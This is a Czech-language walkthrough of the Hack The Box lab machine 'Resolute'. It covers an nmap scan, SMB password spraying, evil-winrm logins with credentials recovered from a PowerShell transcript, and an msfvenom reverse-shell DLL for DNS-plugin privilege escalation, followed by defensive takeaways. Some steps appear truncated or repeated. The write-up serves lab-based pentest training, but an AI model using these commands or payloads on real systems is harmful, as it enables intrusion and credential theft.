Resolute
Úvod a kontext
U Resolute není hlavní hodnota v jednom efektním kroku, ale ve vazbě mezi SMB sdílení, Kerberos a LDAP.
Článek dává smysl číst hlavně jako rozbor rozhodování: proč právě tyto stopy vedou k WinRM s ověřeným heslem a proč po získání shellu dává smysl řešit lokální enumeraci po získání shellu.
Počáteční průzkum
Vyhledání otevřených portů
Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.
nmap -p 1-65535 -T4 -A -sC -v $IP
PORT STATE SERVICE VERSION
53/tcp open tcpwrapped
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2019-12-14 17:43:51Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
49676/tcp open msrpc Microsoft Windows RPC
[... výstup zkrácen ...]
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2019-12-14T17:44:46
|_ start_date: 2019-12-14T17:16:44
Enumerace SMB
U SMB sdílení ověřuji, jaká data jsou dostupná bez dalších oprávnění a zda z nich lze získat účty, dokumenty nebo konfigurační tajemství.
smbclient -W 'megabank.local' //megabank.local/ipc$ -U $user%'Welcome123!' -c 'help'
done < Megabank-users.txt
=> melanie
Získání přístupu
Přihlášení na cíl
Jakmile mám pověření nebo jednorázový shell, snažím se přejít na stabilní a reprodukovatelný přístup, aby bylo možné bezpečně pokračovat v interní enumeraci.
./evil-winrm/evil-winrm.rb -i Resolute.megabank.local -u melanie -p 'Welcome123!'
gc user.txt
__CENSORED__
Přihlášení na cíl (2)
Jakmile mám pověření nebo jednorázový shell, snažím se přejít na stabilní a reprodukovatelný přístup, aby bylo možné bezpečně pokračovat v interní enumeraci.
./evil-winrm/evil-winrm.rb -i Resolute.megabank.local -u ryan -p 'Serv3r4Admin4cc123!'
jaws-enum.ps1
Spuštění exploitu
V této fázi převádím předchozí zjištění do praktického kroku, který má vést k ověřitelnému přístupu nebo k dalším citlivým datům.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.15.134 LPORT=4000 -f dll -o dnsplugin.dll
Získání user flagu
User flag zde slouží hlavně jako potvrzení, že už mám běžný uživatelský kontext a mohu pokračovat v lokální analýze systému.
Následující úsek zachycuje přechod k uživatelskému přístupu a jeho ověření přes user.txt.
./evil-winrm/evil-winrm.rb -i Resolute.megabank.local -u melanie -p 'Welcome123!'
gc user.txt
0c3be45fcfe249796ccbee8d3a978540
cmd /c dir c:\ /a:h /d
gc C:\PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt
=> cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!
Eskalace oprávnění
Získání root flagu
Tento krok ukazuje, jak se nalezená slabina nebo chyba v delegaci oprávnění mění v privilegovaný přístup.
more root.txt
__CENSORED__
Shrnutí klíčových poznatků
- Klíčový posun nepřinesl samotný scan, ale interpretace toho, co znamenaly SMB sdílení, Kerberos a LDAP.
- Uživatelský přístup dává v tomhle řetězci smysl až ve chvíli, kdy vyjde WinRM s ověřeným heslem.
- Root/admin část nepřišla zkratkou; klíčovou roli tu hraje lokální enumerace po získání shellu a navazující lokální enumerace.
Co si odnést do praxe
- Výchozí nebo široce známá hesla typu
Welcome123!v doménových účtech dramaticky zkracují celý řetězec, zejména když je lze ověřit přes SMB i WinRM. - PowerShell transcripty, pomocné skripty a nástroje typu
JAWSnesmějí na hostu odkládat použitelná tajemství; pro další pivot bývají cennější než samotná síťová chyba. - Persistenční body jako DNS plugin DLL je potřeba auditovat stejně přísně jako služby a plánované úlohy, protože právě tudy se z běžného účtu stává admin.